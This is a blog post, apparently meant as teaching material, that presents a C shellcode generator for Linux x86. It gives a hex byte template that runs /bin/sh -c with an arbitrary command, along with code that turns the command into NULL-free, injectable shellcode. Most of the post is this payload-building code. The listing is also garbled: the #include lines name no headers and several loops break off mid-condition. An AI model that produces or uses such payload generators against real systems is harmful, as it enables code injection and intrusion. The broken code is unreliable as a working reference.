Shell Code Generator

Hi Folks,
today I 'd like to share another educational piece of code: it's a shell code generator. Everybody knows that metasploit generates great payloads with just few commands ( here my old post on the topic and here another interesting one ) but here, I want to show you (and I am thinking to show it up to my future classes) a piece of code from BlackLight to generate shellcodes by injecting dynamic commands from keyboard. The goal is to be able to quick generate a shellcode (or more generally payloads) for Linux x86 platform giving as input to the program a "cmd" and receiving back a perfect generated ( = NULL-Free + within less Bytes possible) shellcode ready to be injected.

So let's see how it works:

#include

#include

#include


char code[] =

"\\x60" /*pusha*/

"\\x31\\xc0" /*xor %eax,%eax*/

"\\x31\\xd2" /*xor %edx,%edx*/

"\\xb0\\x0b" /*mov $0xb,%al*/

"\\x52" /*push %edx*/

"\\x68\\x6e\\x2f\\x73\\x68" /*push $0x68732f6e*/

"\\x68\\x2f\\x2f\\x62\\x69" /*push $0x69622f2f*/

"\\x89\\xe3" /*mov %esp,%ebx*/

"\\x52" /*push %edx*/

"\\x68\\x2d\\x63\\x63\\x63" /*push $0x6363632d*/

"\\x89\\xe1" /*mov %esp,%ecx*/

"\\x52" /*push %edx*/

"\\xeb\\x07" /*jmp 804839a */

"\\x51" /*push %ecx*/

"\\x53" /*push %ebx*/

"\\x89\\xe1" /*mov %esp,%ecx*/

"\\xcd\\x80" /*int $0x80*/

"\\x61" /*popa*/

"\\xe8\\xf4\\xff\\xff\\xff" /*call 8048393 */;



First-of-all, we wanna be sure that a "cmd" (or multiple commands in case of parameters) it's been passed to the main ...


int main (int argc, char **argv) {

int i,len=0;

char *shell,*cmd;


if (!argv[1])

exit(1);


Then, lets find out the total length. (eventually, length of multiple parameters).


for (i=1; i

len += strlen(argv[i]);

len += argc;


Once the "cmd" has been inserted, the program reserves and allocates the "cmd" (or "cmds" in case of parameters) plus a space (\x20) for each parameter, into the memory heap.


cmd = (char*) malloc(len);


for (i=1; i

strcat (cmd,argv[i]);

strcat (cmd,"\x20");

}


Removing the last space. After the last parameter there is no need to having one...


cmd[strlen(cmd)-1]=0;


Now it's time to allocate enough memory into the heap to store the shellcode template (here called "code") and the command line, making the assumption that the "program's name" is bigger then its parameters times 5 (as max).


shell = (char*) malloc( sizeof(code) + (strlen(argv[1]))*5 + 1 );


{I would probably have done ... but anyway.... shell = (char*) malloc( sizeof(code) + strlen(cmd) + 1 );}


Copying the shellcode template:


memcpy (shell,code,sizeof(code));


For each Byte copy into (and after) the shell cmd chars expressed in hex with precision 2. Finally print the entire string in stdout.


for (i=0; i

sprintf (shell,"%s\\x%.2x",shell,cmd[i]);

printf ("%s\n",shell);

}

A great example of a quick shellcode generator !